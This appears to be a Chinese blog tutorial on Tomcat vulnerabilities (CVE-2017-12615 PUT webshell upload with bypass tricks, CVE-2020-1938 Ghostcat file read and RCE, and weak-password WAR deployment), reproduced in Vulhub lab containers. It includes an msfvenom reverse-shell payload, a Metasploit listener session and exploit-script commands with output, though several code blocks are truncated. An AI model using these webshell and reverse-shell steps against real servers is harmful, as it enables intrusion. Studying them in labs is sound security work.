tomcat配置url跳转_Tomcat漏洞汇总

b367eba298aa9451f1954990274061be.png

Tomcat定义

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

Tomcat的目录结构

  • bin-----存放Tomcat的脚本文件,例如启动、关闭
  • conf----Tomcat的配置文件,例如server.xml和web.xml
  • lib-----存放Tomcat运行需要的库文件(JAR包)
  • logs----存放Tomcat执行时的LOG文件
  • temp----存放Tomcat运行时所产生的临时文件
  • webapps-Web发布目录,默认情况下把Web应用文件放于此目录
  • work----存放jsp编译后产生的class文件

里面一些重要的文件,需要了解其作用:
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
tomcat-users.xml:tomcat的用户密码与权限。

CVE-2017-12615

影响版本:Tomcat 7.0.0 ~ 7.0.79

影响说明:上传webshell,任意命令执行

环境说明:Tomcat 8.5.19

环境搭建
此次环境使用docker环境搭建,环境采用地址Vulhub

执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1:8080)

docker-compose build
docker-compose up -d

漏洞原理

CVE-2017-12615漏洞称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。该漏洞是高危漏洞,在Tomcat的web.xml默认情况下不存在该漏洞,但是一单开发者或者运维人员手动讲web.xml中的readonly设置为false,可以通过 PUT / DELETE 进行文件操控。
该漏洞后续还有一个CVE-2017-12616的漏洞是对CVE-2017-12615的绕过,影响 7.x、8.x、9.x版本。
漏洞的核心错误配置是web.xml中的readonly

<

漏洞复现
启动Tomcat的环境之后,发送如下数据包

PUT 

如果没有报错的话,会返回

HTTP

绕过方法汇总
Windows:
1、利用/shell.jsp::$DATA的方式绕过
2、/shell.jsp%20,空格绕过
3、/shell.jsp/ , Tomcat在处理文件时会删除最后的/
Linux:
1、/shell.jsp/ , Tomcat在处理文件时会删除最后的/

代表利用成功,可以上传jsp的一句话木马,进行连接,总结为python代码如下:

# -*- coding:utf-8 -*-

执行结果如下:

e4c30ec00350c13b1605473d75e731d8.png

CVE-2020-1938

影响版本
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

影响说明:读取webapp下的所有文件

环境说明:Tomcat 9.0.30

环境搭建
此次环境使用docker环境搭建,环境采用地址Vulhub

执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1:8080)

docker-compose build
docker-compose up -d

漏洞原理
先看一张Tomcat的简易架构图

22a276ab4b680cc8d5c23ee634942455.png

从图中可以看出,Tomcat最顶层的容器是Server,其中包含至少一个或者多个Service,一个Service有多个Connector和一个Container组成。这两个组件的作用为:
1、Connector用于处理连接相关的事情,并提供Socket与Request和Response相关的转化;
2、Container用于封装和管理Servlet,以及具体处理Request请求;
Tomcat默认的 conf/server.xml 中配置了2个 Connector,一个为8080的对外提供的HTTP协议(1.1版本)端口,默认监听地址: 0.0.0.0:8080,另外一个就是默认的8009 AJP协议(1.3版本)端口,默认监听地址为:0.0.0.0:8009,两个端口默认均监听在外网ip。

此次漏洞产生的位置便是8009 AJP协议,此处使用公开的利用脚本进行测试,可以看到能读取web.xml文件。

a76eaac41362a0c54b3b1779745372f7.png

任意命令执行
该漏洞可以任意文件类型解析为jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.png,里面内容是执行任意命令,可以执行以下命令得到命令执行结果:

margine:CVE-2020-1938 margin$ python 2020-10487.py -f /shell.png 127.0.0.1 --rce 1
Getting resource at ajp13://127.0.0.1:8009/hissec.jsp
----------------------------
root

反弹shell
既然可以执行命令,那么反弹shell也是顺理成章,首先利用msfvenom生成木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 > shell.txt

MSF启动监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload java/jsp_shell_
set payload java/jsp_shell_bind_tcp     set payload java/jsp_shell_reverse_tcp  
msf5 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
payload => java/jsp_shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.67
lhost => 192.168.0.67
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.67:4444

执行命令后,MSF即可收到反弹的shell

python 2020-10487.py -f /shell.txt 127.0.0.1 --rce 1

弱口令

影响版本:全版本

影响说明:读取webapp下的所有文件

环境说明:Tomcat 8.0

环境搭建
此次环境使用docker环境搭建,环境采用地址Vulhub

执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1:8080)

docker-compose build
docker-compose up -d

漏洞原理
弱口令漏洞没有太多原理可讲,tocmat支持在管理界面部署项目,也就是部署war包。在tomcat-users.xml中定义了tomcat用户的信息和权限。
访问http://127.0.0.1:8080/manager/html,打开管理界面,输入用户名密码后即可登录后台,使用【WAR file to deploy】功能上传。上传后访问一句话木马即可,如图:

13e030eaf76c90166ade35fc0f758109.png

shell的代码为

<%

将jsp打包为war包的命令:jar cvf shell.war shell.jsp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值